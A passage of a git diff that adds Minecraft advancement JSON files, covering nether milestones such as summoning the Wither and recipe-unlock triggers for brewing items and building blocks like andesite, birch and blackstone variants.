"advancements.nether.root.description" + }, + "frame": "task", + "show_toast": false, + "announce_to_chat": false, + "hidden": false, + "background": "minecraft:textures/gui/advancements/backgrounds/nether.png" + }, + "criteria": { + "entered_nether": { + "trigger": "minecraft:changed_dimension", + "conditions": { + "to": "minecraft:the_nether" + } + } + }, + "requirements": [ + [ + "entered_nether" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/summon_wither.json b/src/data/minecraft/advancements/nether/summon_wither.json new file mode 100644 index 00000000..00836b9d --- /dev/null +++ b/src/data/minecraft/advancements/nether/summon_wither.json @@ -0,0 +1,39 @@ +{ + "parent": "minecraft:nether/get_wither_skull", + "display": { + "icon": { + "item": "minecraft:nether_star" + }, + "title": { + "translate": "advancements.nether.summon_wither.title" + }, + "description": { + "translate": "advancements.nether.summon_wither.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "summoned": { + "trigger": "minecraft:summoned_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:wither" + }, + "entity": "this" + } + ] + } + } + }, + "requirements": [ + [ + "summoned" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/uneasy_alliance.json b/src/data/minecraft/advancements/nether/uneasy_alliance.json new file mode 100644 index 00000000..16f48877 --- /dev/null +++ b/src/data/minecraft/advancements/nether/uneasy_alliance.json @@ -0,0 +1,45 @@ +{ + "parent": "minecraft:nether/return_to_sender", + "display": { + "icon": { + "item": "minecraft:ghast_tear" + }, + "title": { + "translate": "advancements.nether.uneasy_alliance.title" + }, + "description": { + "translate": "advancements.nether.uneasy_alliance.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 100 + }, + "criteria": { + "killed_ghast": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:ghast", + "location": { + "dimension": "minecraft:overworld" + } + }, + "entity": "this" + } + ] + } + } + }, + "requirements": [ + [ + "killed_ghast" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/nether/use_lodestone.json b/src/data/minecraft/advancements/nether/use_lodestone.json new file mode 100644 index 00000000..4fe9d214 --- /dev/null +++ b/src/data/minecraft/advancements/nether/use_lodestone.json @@ -0,0 +1,38 @@ +{ + "parent": "minecraft:nether/obtain_ancient_debris", + "display": { + "icon": { + "item": "minecraft:lodestone" + }, + "title": { + "translate": "advancements.nether.use_lodestone.title" + }, + "description": { + "translate": "advancements.nether.use_lodestone.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "use_lodestone": { + "trigger": "minecraft:item_used_on_block", + "conditions": { + "location": { + "block": { + "block": "minecraft:lodestone" + } + }, + "item": { + "item": "minecraft:compass" + } + } + } + }, + "requirements": [ + [ + "use_lodestone" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/brewing/blaze_powder.json b/src/data/minecraft/advancements/recipes/brewing/blaze_powder.json new file mode 100644 index 00000000..95edeed9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/brewing/blaze_powder.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blaze_powder" + ] + }, + "criteria": { + "has_blaze_rod": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blaze_rod" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blaze_powder" + } + } + }, + "requirements": [ + [ + "has_blaze_rod", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/brewing/brewing_stand.json b/src/data/minecraft/advancements/recipes/brewing/brewing_stand.json new file mode 100644 index 00000000..95b0271a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/brewing/brewing_stand.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brewing_stand" + ] + }, + "criteria": { + "has_blaze_rod": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blaze_rod" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brewing_stand" + } + } + }, + "requirements": [ + [ + "has_blaze_rod", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/brewing/cauldron.json b/src/data/minecraft/advancements/recipes/brewing/cauldron.json new file mode 100644 index 00000000..3ff3fed6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/brewing/cauldron.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cauldron" + ] + }, + "criteria": { + "has_water_bucket": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:water_bucket" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cauldron" + } + } + }, + "requirements": [ + [ + "has_water_bucket", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/brewing/fermented_spider_eye.json b/src/data/minecraft/advancements/recipes/brewing/fermented_spider_eye.json new file mode 100644 index 00000000..75e7b9cb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/brewing/fermented_spider_eye.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:fermented_spider_eye" + ] + }, + "criteria": { + "has_spider_eye": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:spider_eye" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:fermented_spider_eye" + } + } + }, + "requirements": [ + [ + "has_spider_eye", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/brewing/glass_bottle.json b/src/data/minecraft/advancements/recipes/brewing/glass_bottle.json new file mode 100644 index 00000000..05002613 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/brewing/glass_bottle.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:glass_bottle" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:glass_bottle" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/brewing/glistering_melon_slice.json b/src/data/minecraft/advancements/recipes/brewing/glistering_melon_slice.json new file mode 100644 index 00000000..fac79421 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/brewing/glistering_melon_slice.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:glistering_melon_slice" + ] + }, + "criteria": { + "has_melon": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:melon_slice" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:glistering_melon_slice" + } + } + }, + "requirements": [ + [ + "has_melon", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/brewing/golden_carrot.json b/src/data/minecraft/advancements/recipes/brewing/golden_carrot.json new file mode 100644 index 00000000..0855eff9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/brewing/golden_carrot.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:golden_carrot" + ] + }, + "criteria": { + "has_gold_nugget": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_nugget" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:golden_carrot" + } + } + }, + "requirements": [ + [ + "has_gold_nugget", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/brewing/magma_cream.json b/src/data/minecraft/advancements/recipes/brewing/magma_cream.json new file mode 100644 index 00000000..8c1546fc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/brewing/magma_cream.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:magma_cream" + ] + }, + "criteria": { + "has_blaze_powder": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blaze_powder" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:magma_cream" + } + } + }, + "requirements": [ + [ + "has_blaze_powder", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/acacia_planks.json b/src/data/minecraft/advancements/recipes/building_blocks/acacia_planks.json new file mode 100644 index 00000000..5366e33b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/acacia_planks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:acacia_planks" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:acacia_logs" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:acacia_planks" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/acacia_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/acacia_slab.json new file mode 100644 index 00000000..16ef6550 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/acacia_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:acacia_slab" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:acacia_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:acacia_slab" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/acacia_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/acacia_stairs.json new file mode 100644 index 00000000..dbe6fd95 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/acacia_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:acacia_stairs" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:acacia_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:acacia_stairs" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/acacia_wood.json b/src/data/minecraft/advancements/recipes/building_blocks/acacia_wood.json new file mode 100644 index 00000000..c7cfa087 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/acacia_wood.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:acacia_wood" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:acacia_log" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:acacia_wood" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/andesite.json b/src/data/minecraft/advancements/recipes/building_blocks/andesite.json new file mode 100644 index 00000000..39741dec --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/andesite.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:andesite" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diorite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:andesite" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/andesite_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/andesite_slab.json new file mode 100644 index 00000000..2403aa7a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/andesite_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:andesite_slab" + ] + }, + "criteria": { + "has_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:andesite_slab" + } + } + }, + "requirements": [ + [ + "has_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/andesite_slab_from_andesite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/andesite_slab_from_andesite_stonecutting.json new file mode 100644 index 00000000..f0257954 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/andesite_slab_from_andesite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:andesite_slab_from_andesite_stonecutting" + ] + }, + "criteria": { + "has_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:andesite_slab_from_andesite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/andesite_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/andesite_stairs.json new file mode 100644 index 00000000..76111338 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/andesite_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:andesite_stairs" + ] + }, + "criteria": { + "has_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:andesite_stairs" + } + } + }, + "requirements": [ + [ + "has_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/andesite_stairs_from_andesite_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/andesite_stairs_from_andesite_stonecutting.json new file mode 100644 index 00000000..0579f1b1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/andesite_stairs_from_andesite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:andesite_stairs_from_andesite_stonecutting" + ] + }, + "criteria": { + "has_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:andesite_stairs_from_andesite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/birch_planks.json b/src/data/minecraft/advancements/recipes/building_blocks/birch_planks.json new file mode 100644 index 00000000..0d85b416 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/birch_planks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:birch_planks" + ] + }, + "criteria": { + "has_logs": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:birch_logs" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:birch_planks" + } + } + }, + "requirements": [ + [ + "has_logs", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/birch_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/birch_slab.json new file mode 100644 index 00000000..413f8022 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/birch_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:birch_slab" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:birch_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:birch_slab" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/birch_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/birch_stairs.json new file mode 100644 index 00000000..42dbf8f5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/birch_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:birch_stairs" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:birch_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:birch_stairs" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/birch_wood.json b/src/data/minecraft/advancements/recipes/building_blocks/birch_wood.json new file mode 100644 index 00000000..4f194338 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/birch_wood.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:birch_wood" + ] + }, + "criteria": { + "has_log": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:birch_log" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:birch_wood" + } + } + }, + "requirements": [ + [ + "has_log", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/black_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/black_concrete_powder.json new file mode 100644 index 00000000..0f9327fd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/black_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/black_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/black_stained_glass.json new file mode 100644 index 00000000..9ce80d23 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/black_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/black_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/black_terracotta.json new file mode 100644 index 00000000..f2e9d279 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/black_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/black_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/black_wool.json new file mode 100644 index 00000000..c550a710 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/black_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/blackstone_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/blackstone_slab.json new file mode 100644 index 00000000..017cd913 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/blackstone_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blackstone_slab" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blackstone_slab" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/blackstone_slab_from_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/blackstone_slab_from_blackstone_stonecutting.json new file mode 100644 index 00000000..dc985348 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/blackstone_slab_from_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blackstone_slab_from_blackstone_stonecutting" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blackstone_slab_from_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/blackstone_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/blackstone_stairs.json new file mode 100644 index 00000000..337246a3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/blackstone_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blackstone_stairs" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blackstone_stairs" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/blackstone_stairs_from_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/blackstone_stairs_from_blackstone_stonecutting.json new file mode 100644 index 00000000..a51dd601 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/blackstone_stairs_from_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blackstone_stairs_from_blackstone_stonecutting" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blackstone_stairs_from_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/blue_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/blue_concrete_powder.json new file mode 100644 index 00000000..0e473b45 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/blue_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/blue_ice.json b/src/data/minecraft/advancements/recipes/building_blocks/blue_ice.json new file mode 100644 index 00000000..58f331ba --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/blue_ice.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_ice" + ] + }, + "criteria": { + "has_packed_ice": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:packed_ice" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_ice" + } + } + }, + "requirements": [ + [ + "has_packed_ice", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/blue_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/blue_stained_glass.json new file mode 100644 index 00000000..ee9f3fc6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/blue_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/blue_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/blue_terracotta.json new file mode 100644 index 00000000..d9872fec --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/blue_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:blue_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/blue_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/blue_wool.json new file mode 100644 index 00000000..dc93d564 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/blue_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + 